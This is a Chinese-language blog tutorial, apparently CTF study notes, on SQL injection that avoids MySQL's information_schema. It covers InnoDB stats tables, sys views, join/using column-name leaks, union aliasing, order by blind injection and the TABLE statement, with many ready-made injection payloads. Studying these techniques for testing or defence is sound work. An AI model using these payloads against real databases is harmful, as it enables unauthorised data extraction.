参考:
https://err0r.top/article/mardasctf/
https://johnfrod.top/安全/无列名注入绕过information_schema/
无列名注入
sql注入一般都会用到information_schema这个库(mysql自带的库),所以ban掉这个表是一个很好的防御手段,这时候就可以使用无列名注入来绕过。
information_schema库中的表:
- SCHEMATA表:提供了当前MySQL实例中所有数据库的信息。是s
how databases
的结果取之此表。 - TABLES表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。是
show tables from schemaname
的结果取之此表。 - COLUMNS表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是
show columns from schemaname.tablename
的结果取之此表。 - STATISTICS表:提供了关于表索引的信息。是
show index from schemaname.tablename
的结果取之此表。 - USER_PRIVILEGES(用户权限)表:给出了关于全程权限的信息。该信息源自mysql.user授权表。是非标准表。
- SCHEMA_PRIVILEGES(方案权限)表:给出了关于方案(数据库)权限的信息。该信息来自mysql.db授权表。是非标准表。
- TABLE_PRIVILEGES(表权限)表:给出了关于表权限的信息。该信息源自mysql.tables_priv授权表。是非标准表。
- COLUMN_PRIVILEGES(列权限)表:给出了关于列权限的信息。该信息源自mysql.columns_priv授权表。是非标准表。
- CHARACTER_SETS(字符集)表:提供了mysql实例可用字符集的信息。是
SHOW CHARACTER SET
结果集取之此表。 - COLLATIONS表:提供了关于各字符集的对照信息。
- COLLATION_CHARACTER_SET_APPLICABILITY表:指明了可用于校对的字符集。这些列等效于
SHOW COLLATION
的前两个显示字段。 - TABLE_CONSTRAINTS表:描述了存在约束的表。以及表的约束类型。
- KEY_COLUMN_USAGE表:描述了具有约束的键列。
- ROUTINES表:提供了关于存储子程序(存储程序和函数)的信息。此时,ROUTINES表不包含自定义函数(UDF)。名为“mysql.proc name”的列指明了对应于INFORMATION_SCHEMA.ROUTINES表的mysql.proc表列。
- VIEWS表:给出了关于数据库中的视图的信息。需要有show views权限,否则无法查看视图信息。
- TRIGGERS表:提供了关于触发程序的信息。必须有super权限才能查看该表
InnoDb引擎
mysql 5.5.8之后开始使用InnoDb作为默认引擎,mysql 5.6的InnoDb增加了innodb_index_stats和innodb_table_stats两张表
这两张表记录了数据库和表的信息,但是没有列名
select group_concat(database_name) from mysql.innodb_index_stats;
select group_concat(table_name) from mysql.innodb_table_stats where database_name=database()
mysql配置文件:default-storage-engine=InnoDB
命令显示引擎:show engines
sys库
MySQL 5.7开始增加了sys库,这个库可以用于快速了解系统元数据信息。sys库通过视图的形式把information_schema和performance_schema结合起来,查询令人容易理解的数据。
sys库的两种形式:
1.正常的:schema_table_statistics_with_buffer(适合人阅读)
2.以x$开头:x$schema_table_statistics_with_buffer(适合工具采集数据)
sys.schema_auto_increment_columns
这个视图用于保存有自增字段的数据库信息,一般设计表时都会设置自增字段(如id)
#查询数据库名
select table_schema from sys.schema_auto_increment_columns
#查询表明
select table_name from sys.schema_auto_increment_columns where table_schema=databse()
schema_table_statistics_with_buffer
不存在自增字段时使用schema_table_statistics_with_buffer
# 查询数据库
select table_schema from sys.schema_table_statistics_with_buffer;
select table_schema from sys.x$schema_table_statistics_with_buffer;
# 查询指定数据库的表
select table_name from sys.schema_table_statistics_with_buffer where table_schema=database();
select table_name from sys.x$schema_table_statistics_with_buffer where table_schema=database();
无列名注入
上述的innodb引擎的表和sys库的表都无法查到列名,这里就需要使用无列名注入。
join、using
join用于合并两个表,using表示使用什么字段进行连接,用using指定了连接字段则查询结果只返回连接字段
select * from user as b join user using(id) as c
#这里使用id进行连接,只会返回id列
思路:利用join合并同一表,报错重复的列名,再利用using爆出所有的列名,union select需要前后查询的字段数一样,不然会报错
# 得到 id 列名重复报错
select * from user where id='1' union all select * from (select * from user as a join user as b)as c;
# 得到 username 列名重复报错
select * from user where id='1' union all select * from (select * from user as a join user as b using(id))as c;
# 得到 password 列名重复报错
select * from user where id='1' union all select * from (select * from user as a join user as b using(id,username))as c;
# 得到 user 表中的数据
select * from user where id='1' union all select * from (select * from user as a join user as b using(id,username,password))as c;
子查询
利用union联合查询构造列名
select 1,2,3,4 union select * from users
把列名变成了1、2、3、4
select `2` from (select 1,2,3,4 union select * from users)a
select a.2 from (select 1,2,3,4 union select * from users)a
#记得第一个2加反引号,或者使用a.2
select * from user where id='-1' union select 1,2,group_concat(`3`) from (select 1,2,3 union select * from user)x;
select * from user where id='-1' union select 1,2,group_concat(x.3) from (select 1,2,3 union select * from users)x;
select * from user where id='-1' union select 1,2,group_concat(x.c) from (select (select 1)a,(select 2)b,(select 3)c union select * from users)x;
order by盲注
order by对结果进行排序:0-9 a-z,不区分大小写
select * from user where id='id' union select 1,2,'o' order by 3;
select * from user where id='id' union select 1,2,'p' order by 3;
select * from user where id='id' union select 1,2,'q' order by 3;
猜测值大于当前值返回原来的数据,否则返回猜测数据。也就是返回小的值,猜测值大才可以得到数据库中原来的值
无select注入
mysql 8.0.19新增语句table
table table_name
过滤select可以使用table代替
table总是显示所有列,table不能使用where来进行筛选
标签:union,列名,user,sql,table,schema,id,select,注入 From: https://www.cnblogs.com/q1stop/p/18024992